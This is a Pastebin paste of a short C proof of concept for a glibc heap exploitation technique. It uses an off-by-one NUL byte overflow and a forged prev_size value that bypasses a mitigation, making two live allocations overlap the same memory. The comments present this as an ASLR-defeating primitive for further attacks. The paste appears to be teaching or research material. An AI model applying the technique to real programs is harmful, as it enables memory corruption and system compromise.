angelboy

shrink_free_hole_alloc_overlap_consolidate_backward.c

Jun 21st, 2017
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.14 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <string.h>
  3.  
  4. int main(int argc, const char* argv[])
  5. {
  6.   // Allocate three large contiguous chunks.
  7.   char* p = malloc(1024 - 8);
  8.   // Make sure the chunk size (including metadata) is not 1024 exactly. If it
  9.   // were 1024 exactly, setting the LSB to 0 would not affect the size.
  10.   char* p2 = malloc(1024 + 16 - 8);
  11.   char* p3 = malloc(1024 - 8);
  12.   char* p2_1;
  13.   char* p2_2;
  14.   // Set them up with easily recognizable values.
  15.   memset(p, 'A', 1024 - 8);
  16.   memset(p2, 'B', 1024 + 16 - 8);
  17.   memset(p3, 'C', 1024 - 8);
  18.   // Forge the prev_size so that it could bypass the mitigation
  19.   memset(p2 + 1024 - 16,'\x00' ,8);
  20.   p2[1024 - 16 +1] = '\x04';
  21.   // Free the second chunk.
  22.   // This writes the "prev_size" size of the freed chunk, at the end of the
  23.   // free()'d p2 buffer / the beginning of the in-use p3 buffer.
  24.   free(p2);
  25.   // Overflow the first chunk, off-by-one, with a NUL byte.
  26.   // This truncates the size of the free chunk.
  27.   p[1024 - 8] = '\0';
  28.  
  29.   // Allocate a subsection of the free'd second chunk. Since the free chunk we
  30.   // are allocating out of has a truncated size, we end up miscalculting the
  31.   // remaining space, and writing the "prev_size" value of the remaining space
  32.   // at a slightly off location, before where it should be. This leaves the
  33.   // old "prev_size" at the end of p2 / beginning p3.
  34.   p2_1 = malloc(512 - 8);
  35.   memset(p2_1, 'B', 512 - 8);
  36.   // Allocate another subsection of the free'd second chunk.
  37.   p2_2 = malloc(256 - 8);
  38.   memset(p2_2, 'D', 256 - 8);
  39.   // Free the first re-allocated subsection of the free'd second chunk.
  40.   free(p2_1);
  41.   // Free the third chunk.
  42.   // We will see that the old, incorrect "prev_size" value and end up treating
  43.   // p2 as a free'd chunk, and coalescing it, even though we have handed out
  44.   // a still-live pointer half-way through.
  45.   free(p3);
  46.   p2 = malloc(2048);
  47.   // Now, p2_2 and p2 are both pointing to some areas of the same memory!!
  48.   // Note that we achieved this without having to know any pointer values, so
  49.   // this particular attack would be a nice ASLR defeat on 64-bit.
  50.   // You can now deploy application-specific attacks.
  51. }
Add Comment
Please, Sign In to add comment